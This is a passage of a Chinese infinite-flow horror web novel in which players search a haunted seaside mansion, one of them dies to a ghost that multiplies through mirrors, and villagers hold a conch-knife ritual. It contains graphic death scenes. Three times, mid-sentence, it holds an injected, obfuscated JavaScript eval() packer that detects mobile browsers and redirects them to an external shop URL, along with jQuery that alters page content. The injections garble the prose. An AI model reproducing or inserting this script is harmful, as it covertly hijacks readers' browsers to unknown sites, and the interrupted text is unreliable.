林宝珠家是一栋很大的,但很古旧的建筑,应该是几十年前的装修风格。风霜侵蚀多年,白墙爬满了青苔和藤蔓,楼顶铺设着赤红色的瓦片,不少瓦片已经裂开掉落,但仍然可以看得出来很富裕。大门中间的缝隙可以看见荒芜的院落和小楼黑洞洞的窗户门板,门没有锁,但村民对林宝珠的态度避之不及,所以一定很少有人前来。 “进吗?”陈昊打退堂鼓。 “我不走第一个,”张睿往后退了两步。 七尾也有些犹豫,第一个进入不知道会不会触犯规则。枪打出头鸟,这个道理他明白。 孟晗左右扫视了一眼,心里发笑,说的轻松:“那就不去,既然大家都不想去,就不找了。” “……” “陈昊,你开门。”七尾说。 陈昊一听这话跳脚,也顾不得什么男人的脸面:“你怎么不开门!”这个时候把老子推出去送死,他是要活下来才做小伏低的,不是真傻子。 七尾:“昨天我第一个打开的手电筒,也承担了风险。张睿和孟晗是新人,还是需要一些适应的时间。你放心,每个人都会涉险,一人一次,不是针对你。” 七尾给的理由很充分,陈昊不能拒绝,如果拒绝他不仅抱不到大佬大腿,而且其他队友也会不待见他,到时候暗中使坏,或者看着他掉落陷阱就不好说了。陈昊不情愿了好一会儿,拧紧眉毛,闭着眼睛,颤抖的手推开门。 倏然,一股陈旧的气味扑鼻而来,夹杂着霉味和腐朽的木头臭味。 看来很久没有人来了。 小院装潢华丽,看得出来这林宝珠生活条件很好。干涸的池塘位于院落正中心,四周用光滑的石板围成,石板上雕刻着细致的浪花纹路,其中摆了两个张开双臂的西洋式的美人鱼雕塑。前院东西南北各角都有一块一米二高左右的石头,暗合风水中的“藏风聚气”之意。 “守山之财。”瑶瑶说。 池塘水系象征着“财运”,流水汩汩,源源不断,美人鱼正好向南,引海水入局,迎海送风。假山则像是“守财之山”,将吸纳的财运守在这户人家。 孟晗新奇的看向瑶瑶,瑶瑶耸耸肩:“我不懂风水,经常听别人说的,其他用户。” 七尾:“这就是普通的风水阵,为了升官发财。” 张睿:“你懂?” “嗯。”七尾承认,“这家人看起来招了财,还守住了。至少在几十年前,他这样的装修风格换算成现在的钱,也得有几千万吧,毕竟那时候产能不高。” 整个林宅分为前院花园、前堂前厅、后院、居住楼以及别院两层小楼。 陈昊推开了一个大门,剩下还有至少三个门。 众人站在前堂前厅门口。 孟晗瞥了眼七尾,原来算盘在这里呢。虽然他确实打了手电筒,但怪谈刚开局不可能造成必死的局面,反而越到后面,事情越具体,越容易遇见危险。这人看着顾全大局,为大家考虑,其实也不算个老实人。 孟晗:“我来。” 反正她已经见过鬼了,不在乎再见一次。 瑶瑶有些担心:“……小心点。” 万一招惹了女鬼,能躲得了第二次吗?被鬼顶上是一件很恐怖的事情,死亡的优先级最高。 孟晗好似猜中她心中所想,语气平淡;“那只能证明我有魅力,她想和我一直接触。” “……” 不好笑!!! 吱呀。 门推开了。 在气流扑面的刹那间,孟晗倏然屏住呼吸。 “卧槽!什么味!” “好臭啊啊啊!” 孟晗嘴角勾了勾,恶臭没有进入呼吸道,很机智。 恶臭迎面而来,浑浊的空气里混杂着腐肉与霉变的气息。屋内的一切展现在众人面前,木头家具已经发黑,上面覆盖着一层艳盐巴,四周的墙壁斑驳陆离,裂缝中渗出了脓一样的红褐色液体,液体已经几乎凝固,挂在墙壁上。很像是老式楼房没有安装抽油烟机,多年以来的油渍熏染在天花板上,然后又凝聚起开始滴落。 “血!”瑶瑶拉住孟晗,力道很大,直接把她拽到自己胸前,“地上是血!” 孟晗面前是一滩暗棕色的液体,液体干涸,并没被人擦拭洗刷过。孟晗也不知道为什么瑶瑶能笃定这就是血,但从液体状态来看,应该是从房梁上漏下来的……那么…… 房梁上挂了一个黑漆漆的麻绳。 从高度来看,是上吊用的。 有人死了。 林宝珠还是林宝珠的家人? “这屋子死过人、”张睿脸色不好看,抓着陈昊的肩膀,“死人、我要回去,不行不行,我得回去!” 七尾四处打探,迈过门槛,绕开血渍:“我身高一米八,但这个房梁大约有三米,加上绳子垂下来的高度,也不像自己上吊自杀。”他比划了一下,“可能,是有人把死者挂上去的。” “林宝珠吗?”陈昊大脑飞速运转。 难道这是一个报仇雪恨的故事? “分开找找线索吧,就这么大的地方,相互喊一句就照应。”七尾说。 孟晗正有此意。 两个女生一组,其余三个男人一组。 分开是最好的,因为鬼已经来了。从他们进入副本开始,厉鬼如影随形。虽然七尾现在是为了分担风险,不过孟晗还有个想法——他现在断定鬼会跟着自己,而不是七尾。七尾看起来人品不错,但其实十分功利。 孟晗:“我们去后面看。” 后面还有一个二层小楼,孟晗不喜欢死过人的建筑。 “好。”七尾巴不得孟晗赶紧走。虽然这个前堂前厅死过人,但已经打开了门,所以目前危险已经排除了。更何况,孟晗现在十分不吉利,肯定会出事。 孟晗带着瑶瑶离开。 瑶瑶小声跟上询问:“为什么不一起了?” 孟晗说:“七尾觉得我们俩会死。” 瑶瑶:“啊?”她睁着大眼睛,不知道孟晗为什么如此笃定。从昨晚到现在,这也太语出惊人了。自己认识很多很多用户,没有一个人会像孟晗一样。 孟晗无所谓领着瑶瑶往前走:“但是,被盯上的是他们。” “为什么?” “因为早在昨晚,最先出问题的,不是我。” 瑶瑶想不明白,跟着孟晗走。 绕过前厅,穿过花园,来到后面的二层小楼前。 小楼也是白墙,青红色的瓦片,但大门比刚才前厅的要小很多,像是一个给活人住的墓碑。整个楼的窗户比较奇怪,也不是敞开的大窗户,而是用于透气的小窗户,大约也就是四十厘米左右的宽度,高度只有二十厘米。 整个建筑都违背了“南北通透”的布局,黑压压的让人喘不上气。 大门紧锁,锁已经生锈,将门都染上了橙色的铁锈。门也不是油木的,而是铁的。 在内院安置铁门,没见过这种安排。 而且是从外面上锁,里面应该锁着东西。 因为年久失修,锁被轻轻一拽就开了。 啪嗒。 掉在地上。 摔出一堆黑漆漆的粉末。 孟晗推门,屋内迎来了第一处并不明媚的光线。 门开的一刹那,瑶瑶发出一声惊呼:“怎么!!” 应该没人住才对,但门前摆满了密密匝匝的白色蜡烛,火焰仍然在燃烧,照亮了黑漆漆的屋子。但整个屋内并没有感觉到干热,反而仍然是潮湿的。大大小小的蜡烛差不多有几百根,从门口延伸至左右两旁,就像是引路的明灯。橙红色的光如同一只只眼睛,蜡油如鲜血在地板上流淌。 这里在祭奠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586854|205314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死人。 瑶瑶像一只小白兔躲在孟晗身后。 与前厅相比,这里面的几乎没有任何装饰和家具。 孟晗看了眼门板,表情不悦。 瑶瑶眉头越皱越深,确实。 普通门锁,内外都有锁扣锁芯,出门和进门都方便。但这二层小楼,只有外面的门锁,没有里面的门锁,所以这不是住人的地方,是囚禁人的地方。 瑶瑶手指微微发颤,想再用一次【东西南北】,但想到自己在这个副本里只剩下一次使用机会,决定不到万不得已,不能过分依赖道具。 囚禁的是林宝珠? 屋内的墙壁不是光滑的,有什么东西从墙体里浸出来,形成一片片的白色粉末。凹凸不平的墙壁似乎长出来了一个个小肉瘤,可能是返潮的痕迹,不过看起来这里也太过于潮湿了。 瑶瑶抿了抿嘴,自己家有个地下室,在修建房屋时候那里原来是个水塘,所以即使那屋子住了很多年,仍然每天能用抽湿机抽出来满满一桶水,这里显然比自己家地下室要闷潮多倍。 进门之后,孟晗领着瑶瑶先往右边走,没有房间,竟然是一个大水池。蜡烛将水池也围成了一圈,莫名其妙让人想到中世纪古堡中千年不换水的吸血鬼浴缸。 水池中的水已经长满海藻,这海藻还没有死,绿油油的铺满了整个池子,咕叽咕叽的荡漾。滑唧唧的表面泛着油光。这是整个楼内潮气的来源,腥味十足,就像一条死鱼塞入了喉咙。 瑶瑶:“这是鱼池?” “不太像,鱼至少要活水。”孟晗认真说,“也许是浴缸。” 瑶瑶:! 姐你自己看看像吗? “开个玩笑,也许是风水池。”孟晗笑笑。 瑶瑶抱怨:“这不好笑,我想不通什么人会在这里泡澡。”她没想到孟晗还有讲冷笑话的前置。这里就是海边,想游泳去大海里就好了,这么大的水池难道是储存淡水用的? 环顾四周,孟晗拿起一块倒在地上的木板,探入池水搅动。 哗啦。 哗啦。 不是水流的声音,更像是无数贝壳相互摩擦发出的声响。但水太浑浊了,他们看不清下面有什么。 孟晗边打捞边问:“怪谈中会出现人类自相残杀的情况吗?” 瑶瑶摇头:“一般不会,因为其实并没有利益冲突,为什么要自相残杀呢?人活着比死了更有用。况且,根本没有必要杀人,因为人类很快也会被厉鬼杀死。” 她是个悲观的人,战战兢兢活到现在。 孟晗:“怪谈生存率大概多少?” 瑶瑶:“其实我也不清楚,但怪谈分为三大类。” 孟晗想起来自己在手机app上看到的【凡人蜃影】、【幽冥悬棺】、【绝境罗生】、【重返人间】图标。 但这是四类。 瑶瑶说:“新人只能选【凡人蜃影】,这算是你的第一关。【幽冥悬棺】是目前全部死亡三组以内的怪谈,而【绝境罗生】则是至今无人通过的怪谈。虽然【凡人蜃影】听起来简单一些,但它变成【绝境罗生】也并非难事。” “有个怪谈叫《慈惠疗养院》,据我所知已经有至少两年时间了,上个月有一批玩家进入,没有一个活着回来,如果再死一批,就会变成【绝地罗生】。进入怪谈的方式有两种,自主报名怪谈,或者被app选中进入怪谈名单。app提示我需要进入副本了,我就会选【凡人蜃影】。” “那通关的怪谈呢?”孟晗问。 “消失了,就是没了。” “还有一个你没有遇到,【重返人间】。” 瑶瑶不知道该说什么,因为这个图标是最近才出现的,准确的说是最近三天,所有人都打不开,灰色的图标也从来没有亮起。 瑶瑶:“目前为止没有人知道,这是怪谈最近的新变化。” “好吧。”? 孟晗大概心里有数。 看来她这个副本难度不高。 瑶瑶看着孟晗干脆利索的动作,问道:“晗姐,你是做什么的?” “服务员。”孟晗说。 “啊?不像啊。”瑶瑶还以为孟晗这个性格脾气,怎么也是富二代或者军二代,甚至可能在特种部队服役。她身上没有被社会驯服的感觉,也没有新人的惶恐和怯懦,反而笃定、坚定、跃跃欲试。 “大学毕业没找到工作。你毕业了?”孟晗胡诌了一个理由。 说道瑶瑶心坎上了,谁不是呢? “今年毕业,本来是有工作的,刚被撕了三方,现在在家写小说。”瑶瑶一脸颓然,“挣不了几个钱的,也没什么人看,混个全勤够一个温饱吧。” “什么题材呀?”孟晗好奇。 瑶瑶不好意思笑笑:“无限流。” 反正,这不算剽窃,对吧? 这都是本人的亲身经历,作者断更就证明作者死了。 自从进入了魇域乐土,小说副本按照怪谈写,好多读者都说逻辑紧凑,就是不太爽,死的人太多。现在她的小说也变成了一些玩家的“档案”,那些生的、死的,最终留下点文字,写证明存在过、挣扎过。 每每想到这里,瑶瑶有点感伤。 孟晗想了想:“那你这算实践是检验真理的唯一标准吗?” “……” 瑶瑶的表情有些一言难尽:“晗姐,你好像真的不太会聊天……” 说话间,孟晗余光瞥着水池,然后微微一顿。 瑶瑶站在她旁边,浑浊的水面本应出现她的倒影。 但现在她的倒影没有了,就和昨天的张睿一样。 那么,现在会有两种可能。 第一,面前的不是瑶瑶。 第二,瑶瑶即将死了。 7. 鬼影憧憧 孟晗一动不动,盯着瑶瑶。两人站在水池的两个边缘,周围被红蜡烛环绕,烛光点点映在两人脸上,周围的光源让凝固的气氛像昏黄的老照片。 瑶瑶不明所以,余光也看向了水面。顷刻间,汗流浃背。 她刚才根本没有注意到,面前的孟晗在水里没有倒影。光源是四面八方的,按理说孟晗在水面应该有影子才对,这和水脏不脏根本没关系,就算是臭水沟也应该有影子才对! 这不是孟晗,是鬼! 鬼才没有影子! 瑶瑶视线乱飘,眼睛不知道往哪里看,她不想让鬼知道自己已经发现了,怎么做才能逃跑?呼吸变得急促间,瑶瑶又死死盯住孟晗。昨天孟晗告诉自己要盯着鬼看,鬼才杀不死你的。她强迫自己看向孟晗,恐惧在四肢疯狂蔓延。 ——明明这是孟晗啊,她给自己的感觉和其他人都不一样,第六感是不可能出错的,什么时候换人了,那真正的孟晗在哪里。她现在必须不动声色地离开这里,不能被鬼发现…… 瑶瑶装作什么都没看见,随便找了个话题:“其实我最近小说写的也不好,我都……” 孟晗没说话,也没有装模作样继续手中的打捞工作,她手一松,长棍哐当一声落入池水,激起一阵浓稠的泡沫。瑶瑶不是一个会演戏的人,即使她装的再冷静,但哆嗦的嘴唇已经出卖了她。能让瑶瑶如此恐惧的只有一件事——鬼。那么,瑶瑶应该不是发现她的影子有问题,而是自己的影子。 瑶瑶的样子帮孟晗排除了一个选项,她突然知道限制鬼的规则在哪里了。 鬼并没有扮演的能力。 瑶瑶越看孟晗越觉得不对劲,因为孟晗在笑,她嘴角微微翘起,似乎充满了无法掩饰的愉悦。这是要杀死自己了吗?心中警铃大作,正要逃跑—— “别跑!” 吓得瑶瑶平地站军姿,四目相交,不敢呼吸。 孟晗:“别看我,看水。” “什么……什么?” 孟晗:“盯着水面,往后退,退到没有水的地方。” 孟晗一开口,瑶瑶突然不恐惧了,竟然按照孟晗要求的一步步后退。 与此同时,孟晗也起身,目光不挪,脚步后撤,直到彻底离开水池反射的区域。 当两人离开水池附近,瑶瑶才意识到眼前的孟晗根本不是鬼。那么,刚才鬼是在水里,所以水里才没有影子?如果自己盯着孟晗,没有盯着水面的话,岂不是…… 瑶瑶摸着胸口:“我的天哪,我从来没见过这么聪明的鬼。吓死我了,刚才我还以为……” 孟晗:“离开所有可以反光的物体。” “……” *** 前厅。 张睿、陈昊、七尾正在搜寻房屋。 屋内布满尘土,呛鼻难闻。 陈昊抱怨:“那也不知道那俩人会不会私藏线索,如果我们五个人一起行动根本不会担忧这种问题。”眼下七尾在隔壁屋子,他也就敢和张睿抱怨,人多一起行动才安全,而且人心隔肚皮,他觉得孟晗不好相处,尤其是今早跟自己说的那句话——有人的目的地不是箱岩村,弄得他毛骨悚然到现在,看谁都觉得有问题了。 张睿:“哥,大家团结一致才能出去,私藏线索为了什么啊?” 陈昊被他说的心虚,他就私藏过线索。 这又赖不掉自己。 虽然触犯规则会被鬼杀死,但一般情况下是有时间间隔的,不可能杀死一个后紧接着杀死第二个,如果在长时间没人死亡的情况下,所有人都岌岌可危。但是如果死了一个,在接下来的几个小时内有很大概率不会再杀人——这就是所谓的安全期。 安全期就是很安全。 所以,如果长时间没有死人,他找到了关于生路的线索,就不会别人所害,而且可能会产生“第一个死者”。 陈昊说道:“存活七天其实很难,大部分人在第三四天就坚持不下去了,厘清怪谈背景故事才有突破口,才知道如何规避危险。而且这怪谈背景下,应该有情节、道具,是可以克制厉鬼的。如果你拿到了线索,你就有了优势,反而会成为保护对象。所以,虽然看起来所有玩家都在同一条船上,但各自心怀鬼胎。” 他理解七尾要求分组探索的意思,鬼昨晚没有杀死孟晗并且到现在还没有杀人,肯定今天还盯着她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586855|205314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那两个女的就倒霉了。 张睿没想到这一层,恍然大悟:“受教了。”看来还是陈昊好,愿意告诉自己这么多秘密。 陈昊站在窗户对面,观察屋内的金镶玉小船摆件。这家比自己想象的阔绰得多,不少珍稀古玩,珍珠更是有整整一箱,这要带回现实世界,肯定让自己不愁吃,不愁穿,而不是再当一个穷苦的小专员。凭什么有人生下来就有钱,凭什么99.99%的人都不会被卷入这种糟糕的怪谈,凭什么所有事情到最后只有自己倒霉? 陈昊盯着玻璃窗越想越气。 他憎恨,他厌恶!他看到有钱人就恶心!不过幸好,怪谈世界是公平的,不管有钱没钱,最后都是死路一条。曾经还有人想用全部身家换取一个存活的机会,那是他人生中第一次视金钱如粪土,唾弃这些虚伪的、龌龊的有钱人。在公司里高高在上的老板,居然也会因为害怕死亡而摇尾乞怜。 突然,眼前黑影一闪而过。 陈昊的思绪倏然被拉回来。在怪谈中的老玩家都有敏锐的直觉,这间屋子里有东西!是鬼出现在玻璃窗外了吗,不对,那个黑影若隐若现,应该是玻璃的反光。因为有倒影,所以自己才能看清楚。 现在张睿站在自己身后,他正要回头,掠过的玻璃时余光瞬时顿住。他看见张睿身后赫然出现了一双女人的脚! 陈昊脸色突变,根本不敢顺着目光往上看。鬼来了鬼来了鬼来了!趁着那女鬼还没有露面,也就是说不需要盯着它看,自己要尽快远离! 张睿是新人,他肯定会犯错的,这样鬼就不会跟上自己。自己只要抓住这个时间窗口,一定可以逃脱。该死的,七尾信誓旦旦鬼盯上了那两个女的,自己怎么就信了这个邪! 张睿还没意识到发生了什么:“那你就这么信任七尾哥啊,他一个人在旁边的屋子里会不会有危险啊。如果不是碰见了你们俩这么好心的人,我是真活不下去啊,等出去了我请你吃饭,吃最贵的啊哥!” “我去找他,”陈昊头皮发麻,“你等我一下。” 陈昊一刻也不想多呆,现在当务之急是离开,陈昊脚步飞快,推门而出,根本没管张睿在背后说什么! 8. 第一个人 “七尾!” “七尾!” 七尾正在检查卧室,卧室有一张架子床、账本、书籍,还有简单的梳妆台。他站在镜子旁边,翻动着书页。听见陈昊喊自己名字,神色突变。 陈昊看见七尾震惊的样子,瞬时间所有声音都憋在嗓子里发不出来,大脑登时一片空白。难道鬼跟着来了?不会是张睿把鬼引过来了吧!张睿这个傻逼怎么就非要粘着自己,鬼原本是跟着他的,现在三个人都要遭殃! 正要说话,回头的刹那间,一张惨白的脸出现在他面前! 陈昊赫然什么都骂不出来了。冰冷的,如同雕塑一般的眼睛死死凝视着他。女鬼皮肤上镶嵌的贝壳一张一合,发出扑哧扑哧的声响,嘴里鱼虾腐烂的气息喷在他的鼻子上。陈昊吓得不敢动,对视了,他居然和鬼对视了! 怎么办?谁来救救自己!今早孟晗说什么来着?哦对,是一定要盯着鬼,当你在盯着她的时候,就不算触犯规则,她就不能杀死你。这怪谈里有两个新人,匹配新人的难度肯定不高。只要自己盯着它就可以,这个就是生路! 陈昊一动也不敢动,眼睛酸涩,生怕在眨眼的间隙被鬼杀死。 但是,鬼仍然没有消失,反而脸上的笑意越来越深。陈昊一动不敢动,他都不知道过去了多久,为什么鬼还没有消失,难道是要等着自己触犯规则吗? 下一秒,厉鬼上前一步。 “别过来!”陈昊往右边挪了一步,崩溃大喊,眼泪横流,“你杀不死我的!我没有触犯规则,我没有!” 厉鬼脸颊上干瘪的肌肉抽动了一下,匪夷所思的抬手,指了指陈昊身旁的镜子。陈昊僵硬的微微侧头,梳妆台的镜子里倒映出了他的上半身……以及,鬼的影子。 镜子里的厉鬼看向镜子里的自己,根本没有抬手指镜子。 下一秒! 咯! 镜中厉鬼转头,黄豆大小的瞳孔震颤,嘴里发出尖锐的笑声! 咯咯咯咯咯……咯咯咯咯咯! 哪里才发出声音?为什么自己的背后有声音?难道鬼才自己背后? 陈昊浑身冒汗,根本不敢动。 不可能…… 这样岂不是…… 没有任何胜算! 当它在注视你的时候,你要注视它!但是如果,这屋子里有两个厉鬼呢?这屋子里有镜子,镜子反射厉鬼,于是就有了两个厉鬼,一前一后,他根本没有任何胜算! 完了! 完了完了! 卧室内,张睿因为陈昊丢下自己的行为颇为不爽,刚一进门就看见陈昊四肢僵硬立在原地,双手掐住自己脖子,喉咙发出支支吾吾的呜咽。七尾脸色凝重,不让张睿靠近说话。 突然,陈昊发出一声干呕,声音从喉咙深处传来,仿佛要把他的内脏一同呕吐出来。下一秒,剧烈的压迫感涌上了他的气管,嗓子顿时被什么东西撑大,好似有什么东西将整个气管全部堵住,眼睛突如其来地变得膨胀,眼球几乎从眼窝中挤出,挂在皮肤外,嘴角溢出黑色的液体,腥臭弥漫开来。 陈昊的面容变得扭曲,脖子上的青筋暴起,皮肤下似乎有什么东西在疯狂蠕动、爬行,像无数条恶心的虫子在挤压着他的血肉。有什么东西在他的体内生根发芽,一段段顺着他的食管、气管往上爬、往外钻,就像是一只……手……抓住他的扁桃体,抓住他的舌头,狠狠往下拉! “救……救救……” 绝望、恐惧,他还不想死!凭什么是他!自己明明已经知道规则了! 突然,一只冰冷的纤细的手臂从他张大的嘴巴中伸出,刻满红色咒文的皮肤上挂着张睿破碎的血肉。小臂伸出喉咙,骨节弯曲,手指在他颈部的皮肤下轻轻滑动,迫使陈昊仰头,下一瞬,手臂猛然用力拉扯着陈昊的头发! ——咔哒! 陈昊的颈椎倏然被扭断,身体紧接着抽搐了几下,最后,身体一颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586856|205314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,彻底瘫软,死了。 死在了两人面前。 一地鲜血。 张睿吓得呕吐,七尾死死盯着尸体。 终于死人了,他松了一口气。 他看了看镜子,嘴角勾起一丝微笑。 原来是这样的吗?任何反光的物体会让鬼变成不止一个,那么玩家是无法凝视所有倒影中的鬼,所以会死。昨天孟晗没出事的原因很有可能是光线昏暗,无法倒映出来鬼完整的影子。所以,他们需要警惕光滑的、干净的反光物体表面。不过,在陈昊死亡之后,女鬼的能力很有可能就变强了,如果她能让其他物体,比如肮脏粘稠水面也出现自己的倒影,那么整个被水汽弥漫的村庄则处处都是杀机。 运气真是不好啊。 听见惨叫,孟晗和瑶瑶也跑到卧室,看到了尸体。 生存率80%,死亡玩家+1。 瑶瑶看了眼镜子,彻底明白刚才孟晗让她远离水的意思。 她真的是新人吗? 为什么会有这么恐怖的推理能力? 刚才也就不到两秒吧。 孟晗挑眉,刚才自己和瑶瑶的运气不错。因为水池太脏,水只能倒映出模糊的影像,所以并不能同时产生两个厉鬼。鬼在水里,隐藏了她和瑶瑶的影子。如果她和瑶瑶盯着彼此,就会中招然后死亡。如果水干净一点,鬼出现在自己背后,也有解——一个人盯着倒影,一个人盯着鬼。 可怜的陈昊,应该是刚才和张睿在一间屋子,发现有鬼想跑,唯一的生路就被自己堵死了。 从小楼出来,才发现整个箱岩村乱成一团,密密匝匝的人声如同嗡嗡而动的苍蝇。 “林宝珠回来了!” “林宝珠杀人了杀人了!死人了!” 一户人家门口密密匝匝围了一圈人,孟晗拨开人群一看,死的是一个村民。 死状和陈昊一模一样。 怪谈这才真正开始了啊。 9. 螺刃开潮 一天之间,村子里死了两个人。 一个是村民。 一个是陈昊。 村长火急火燎拄拐赶到,村民们都等着唯一的主心骨。交错的人脸上写满惶恐,甚至都没有人再关注几个外乡人。村长在得知陈昊也死了后,愣了片刻,自言自语:“终究还是来了啊。”他说完,看向远处的海平面,长长叹了口气。 村子里哭声一片。 “这次又要死谁啊?” “林宝珠还有完没完!三十年了,她造孽了三十年啊!” “她为什么又回来了,不是刚刚才走吗?” 村长一言不发,甚至没有去处理死亡事件,眼睛直勾勾盯着海。 七尾问:“怎么一回事?” 村长嘴巴哆嗦了一下,死死看着发问的七尾,眼白布满血丝。在七尾以为他要说什么时,村长倏然早转身,怒吼一声,“去祠堂!” 所有人一听这话,一哄而散,呼呼啦啦往祠堂跑,呱唧呱唧的脚步声在海浪声中此起彼伏。根本不需要催促,祠堂就像唯一的安全屋。用户们对视一眼,相继跟上。没有人为了陈昊的死而伤感,谁都担心下一个死的是不是自己。 祠堂位于箱岩村的尽头,隐匿在山林脚下,门口的石雕守护神像被海风模糊,屋顶低垂,屋檐下的铃铛在微风中发出刺耳的响声,但那声音并不清脆,而是沙哑、干涩,像是久未被人触碰的器物。其他村庄的祠堂都和整合村子融为一体,只有这里,坐落于村子的最边缘。 虽然是中午,但空气变得愈加沉重。 祠堂不大,要不是四人动作快,早就围堵得人满为患。村民如同热锅上的蚂蚁,混乱的说话声糅杂着恐惧和急躁。 瑶瑶悄悄说:“咱们几个外姓的,是不是不能进别人家祠堂啊?”她有些担心这些惊恐的村民会急需一个情绪的突破口。 “来都来了。”孟晗反问,这还能赶出去?大不了现在自己改姓还不行吗? 张睿脸色白的吓人,紧紧贴着七尾,他可不想像陈昊一样不明不白死了,从刚才到现在他还不明白陈昊是怎么死的,如果不是七尾掰开了,揉碎了,他脑子根本转不过这么多弯弯绕绕。真是,太可怕了! 七尾撇了他一眼。 冷冷的。 陈昊打了个哆嗦:“怎么了哥?” 七尾:“我们现在是四个人了,会不会变成三个?” “大佬你别吓我!!”张睿哀嚎。 七尾沉思:“你还记得小孩数数吗?从五数到了一。” 张睿不说话了,总不能说最后活一个人吧。 人一多,也没人发现他们几个闯入了祠堂,毕竟所有人都自顾不暇。 祠堂内,长时间未曾通风的空气像毒死人的瘴气,每一块木板发出吱呀的声音,泛黄的牌位整齐排列。最中间的神像被厚重的灰尘覆盖,面容模糊,双眼深陷,很像观音,也有可能是他们所说的海娘娘。 内堂门一开,村民所有的目光都集中在神像身上。 “海娘娘保佑啊!” “你们瞧,海娘娘睁眼了!” “什么?海娘娘睁眼就是要杀鬼了啊!” “真的来了,这回林宝珠真的来了!” 孟晗四处观察,和自己猜想的一样,祠堂应该算个安全屋,因为有海娘娘的震慑,鬼进不来,所有村民都拥挤在这个窄小的地方。 村长颤颤巍巍从屋子里拿出族谱,声音沙哑:“名字!” “林宏亮家的小儿子,林跃!”村民扯着嗓子喊。 村长听见名字,拿出族谱,翻到了标注着林宏亮的那页,在下面找到了刚才的死者名字。他抬起手肘,拿出一根沾满朱砂颜料的毛笔,还没有勾画,此时一个中年妇女突然扑到村长面前,跪倒在地:“我儿惨死,您还要将他除名、他没有做错任何事啊!” 村长要将刚才的死者从族谱上除名,除名之人一般都是犯了大事,但被杀身亡应该不属于这个范畴。 女人双眼瞳孔:“是林宝珠杀了她,你为什么不杀了林宝珠、为什么要让她兴风作浪,那是我儿啊!求求您啊,求求您啊!” 村长根本不看这个女人,他做这件事情已经千百次了,心肠早就炼成了石头,在族谱上死者的名字处画了一个红色的叉子。 孟晗踮起脚尖,在村长翻动的族谱间,看到了至少有十个红叉,也就是说至少因为林宝珠死了十个人。 村长画完,除了女人,所有人都松了口气。 瑶瑶小心翼翼问:“这是什么意思?” 孟晗:“就不是这个箱岩村的人了,不入族谱,不受后代祭拜,应该算个挺严重的惩罚了。” 从村民的反应来看,这么做应该是保护村民,但这种行为其实并不能“惩罚”林宝珠,因为除名并不含有对抗或者抵抗的意味。所以,村长是在给林宝珠一个交代,平息林宝珠的怒火。孟晗断定,村子里的人做过对不起林宝珠的事情,所以除名之后,该死者不是村中人,让林宝珠不要将怒火波及到其他人身上。 果然,村长将名册展示给村民:“这林跃就不是箱岩村的人了,林宝珠恨他,不要恨村子里的其他人!” “海娘娘保佑,海娘娘庇护,死了林跃就不要再死人了!” “让林跃去陪林宝珠,不要再带走其他人了!” 村民长舒一口气,只有林跃的母亲哭的泣不成声。 “怎么林宝珠又出现了啊……” “唉,谁知道呢?” “就是啊,每隔七八年就要死人……” 在族谱上划掉了林跃的名字,村长又从屋内端出来了一把海螺刀。 这不是普通的刀,大概整体二十厘米长,刀柄是由一块暗淡的木质雕刻而成,镶嵌了一圈奇异的白色和肉色的海螺和贝母的装饰,每一枚海螺的外壳被人为削开,露出白白的内壁,倒是很像昨天见到的女鬼的皮肤。 村长高喝道。 “螺刃开潮——” “斩祟驱妖——” “海娘赐福——” “百鬼尽消——” 一语毕,在场的村民齐刷刷下跪。 “海娘镇煞——” “恶鬼魂消——” 原来是先礼后兵。 孟晗环顾四周,只有自己和其他玩家站着。 瑶瑶有些不好意思,想蹲下,但看孟晗没动,就还乖乖站在她身旁。这种时候,跟着孟晗做是不会出错的。 孟晗的目光没有离开海螺刀,看起来是个圣物,如果可以杀鬼防身的话,应该这个怪谈中的林宝珠是无法近身的。在怪谈中对抗鬼怪的方法有很多,可以使用道具或者利用怪谈内的故事情节进行克制。村长将海螺刀放在祠堂排位海娘娘神像的正前方,如同被注入了海娘娘的骨血。在整个仪式结束后,村民们才稍稍放松了些,准备回家。 孟晗眼睛一瞥,在人群中看见今早那个女人,三两步迈过去:“借一步说话。” “怎么又是你!”女人惊诧,一点都不想和这些外来人扯上关系,“你们还不走,是要留在这里等死吗?” 孟晗:“不是有海螺刀吗?我为什么要怕死?” 女人看着孟晗,突然笑起来:“你不是也不信吗?” 反问的语气把孟晗逗笑了。 刚才除了她和瑶瑶,这个女人也没有完全跪下去。她站在祠堂大门旁边的墙角,微微弯腰,但是头仍然抬得高高的。她根本不相信村长这套说辞,所有人对林宝珠讳莫如深,但孟晗分明从女人的眼中看出了一丝戾气。她知道前因后果,知道村里的人对不起林宝珠罪有应得。 孟晗顺着女人的话说:“有因才有果,如果海螺刀真的有用,就不会死人了。” 